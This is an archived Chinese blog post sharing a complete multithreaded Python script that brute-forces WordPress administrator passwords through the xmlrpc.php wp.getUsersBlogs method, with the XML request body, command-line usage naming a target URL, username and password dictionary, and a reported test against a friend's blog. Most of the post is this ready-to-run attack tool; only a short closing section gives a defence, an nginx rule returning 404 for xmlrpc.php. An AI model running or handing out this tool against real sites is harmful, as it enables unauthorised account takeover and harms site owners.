Refresh

This website gojira.net/python-wordpress-baolipojie.htm is currently offline. Cloudflare's Always Online™ shows a snapshot of this web page from the Internet Archive's Wayback Machine. To check for the live version, click Refresh.

Gojira 哥斯拉Gojira 哥斯拉

哥斯拉爱好者的日常
生活相当无趣 我得找点乐子

用python写的WordPress多线程暴力破解工具

gojira.net

破解是利用的wordpress xmlrpc.php实现破解的。

使用python向wordpress的xmlrpc.php post以下数据,从返回的响应体中查找相应的字符串,从而实现破解。

[php]
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>www.waitalone.cn</value></param>
</params>
</methodCall>
[/php]

由于对python的多线程研究的不是很深入,所以无法做到在已经得到密码的情况下,停止其它线程的破解,如果加入了相关的控制语句,程序会卡死,希望对python多线程研究比较深入的大牛看到这篇文章的时候,能帮我改进一下程序,谢谢!

python版WordPress多线程暴力破解工具


[php]
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2015/4/29
# 博客 http://www.gojira.net/
import os, sys, time, urllib2
import threading, Queue

def usage():
os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 50 + '+'
print '\t Python WordPress暴力破解工具多线程版'
print '\t Blog:http://www.gojira.net/'
print '\t Time:2015-04-29'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 4:
print '用法: ' + os.path.basename(sys.argv[0]) + ' 用户名 密码字典 待破解的网站URL地址 '
print '实例: ' + os.path.basename(sys.argv[0]) + ' admin pass.txt http://www.gojira.net/ '
sys.exit()

queue = Queue.Queue()
lock = threading.RLock()
success = []

class Crack(threading.Thread):
'''
WordPress xmlrpc多线程暴力破解类
'''

def __init__(self, queue):
super(Crack, self).__init__()
self.queue = queue
self.crack_url = url + 'xmlrpc.php'

def run(self):
while True:
try:
password = self.queue.get()
if password == None: break
self.post = '''
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>''' + username + '''</value></param>
<param><value>''' + password + '''</value></param>
</params>
</methodCall>
'''
self.header = {
'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Referer': self.crack_url
}
self.req = urllib2.Request(self.crack_url, data=self.post, headers=self.header)
self.res = urllib2.urlopen(self.req, timeout=10).read().decode('utf-8').encode('GBK')
except Exception, msg:
lock.acquire()
print '发生了异常情况,卧槽!!!!!!!', msg
lock.release()
else:
lock.acquire()
if 'faultCode' in self.res:
print '[×] 报告爷,正在尝试密码: %s' % password
elif 'isAdmin' in self.res:
print '\n[√] 报告爷,密码破解成功: %s\n' % password
success.append(password)
lock.release()
finally:
self.queue.task_done()

if __name__ == '__main__':
usage()
username = sys.argv[1]
url = sys.argv[3]
if url[-1] != '/': url += '/'
print '[√] 目标:', url + '\n'
start = time.time()
if os.path.isfile(sys.argv[2]):
passlist = [x.strip() for x in open(sys.argv[2])]
print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist)
for i in range(10):
t = Crack(queue)
t.setDaemon(True)
t.start()
for password in passlist:
queue.put(password)
queue.join()
if success:
print '\n[√] 大爷,您人品太好了,密码破解成功!'
print '\n[√] 用户名: %s,密码:%s' % (username, success[0])
else:
print '\n[!] 卧槽,居然没有找到密码,他爷爷的,字典不行呀!'
print '\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)
else:
print '爷,没有密码字典,破解个毛呀?'
[/php]

朋友的博客来测试下破解结果截图如下,对比单线程的,大概省10秒左右。

WordPress多线程暴力破解工具

转自:独自等待

修复wordpress的xmlrpc.php漏洞最简单彻底的方法就是删除该文件,对网站访问无影响 (这个文件一般是第三方接口应用的,比如用WindowsLiveWriter写博客,用手机发布日志等等,一般我们是用不到的)

但是如果是更新wordpress的话,那么xmlrpc.php又会重新出现,那么我们可以在nginx里面直接返回404就行了,这样一劳永逸(apache规则自己对应改),如下:

[php]
location ~ ^/xmlrpc.php
{
return 404;
}
[/php]

GOJIRA.NET原创文章未经允许不得转载! 当前页面:Gojira 哥斯拉 » 用python写的WordPress多线程暴力破解工具

评论 2

  1. 第一句话就扎了我的心

    谷歌优化 L2 小有名气 2022.11.17 17:08:30 回复
  2. 博主,太爱你了。

    亦双 博 主 2015.12.17 10:24:13 回复